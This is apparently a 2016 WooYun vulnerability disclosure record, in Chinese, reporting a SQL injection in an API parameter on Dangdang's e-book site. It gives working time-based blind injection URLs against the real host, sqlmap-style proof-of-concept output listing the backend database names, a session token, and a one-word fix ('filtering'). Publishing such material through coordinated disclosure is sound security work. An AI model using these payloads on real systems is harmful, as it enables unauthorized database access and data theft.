当当网某处存在注入

编号206879
Urlhttp://www.wooyun.org/bug.php?action=view&id=206879
漏洞状态厂商已经确认
漏洞标题当当网某处存在注入
漏洞类型SQL注射漏洞
厂商当当网
白帽子(๑• . •๑)
提交日期2016-05-09 23:33:00
公开日期2016-06-24 14:40:00
修复时间(not set)
确认时间2016-05-10 00:00:00
Confirm Spend1
漏洞标签Mysql
关注数0
收藏数0
白帽评级
白帽自评rank16
厂商评级
厂商评rank10
漏洞简介
RT
漏洞细节

http://e.dangdang.com/media/api2.go?action=specialtopichistory&channelId=70000&channelType=aa'XOR(if(1=1,sleep(3),0))OR'bb&clientVersionNo=5.0.0&deviceSerialNo=html5&deviceType=DDDS_All&deviceType=pconline&end=4&&fromPlatform=106&macAddr=html5&permanentId=20160509141255496945873539944433574&platformSource=DDDS-P&returnType=json&start=0&token=fef3aeb74b5355da8068e7cdff8ca7c4

POC

---
Parameter: #1* (URI)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://e.dangdang.com:80/media/api2.go?action=specialtopichistory&channelId=70000&channelType=') AND (SELECT * FROM (SELECT(SLEEP(5)))duhD) AND ('gpvJ'='gpvJ&clientVersionNo=5.0.0&deviceSerialNo=html5&deviceType=DDDS_All&deviceType=pconline&end=4&&fromPlatform=106&macAddr=html5&permanentId=20160509141255496945873539944433574&platformSource=DDDS-P&returnType=json&start=0&token=fef3aeb74b5355da8068e7cdff8ca7c4
---
back-end DBMS: MySQL >= 5.0.0
available databases [6]:
[*] digital
[*] digital_search
[*] dpp_datebase
[*] information_schema
[*] short_link
[*] test

修复方案

过滤

状态信息 2016-05-09: 细节已通知厂商并且等待厂商处理中
2016-05-10: 厂商已经确认,细节仅向厂商公开
2016-05-20: 细节向核心白帽子及相关领域专家公开
2016-05-30: 细节向普通白帽子公开
2016-06-09: 细节向实习白帽子公开
2016-06-24: 细节向公众公开
厂商回复感谢对当当安全的支持
回应信息危害等级:中漏洞Rank:10 确认时间:2016-05-10 14:36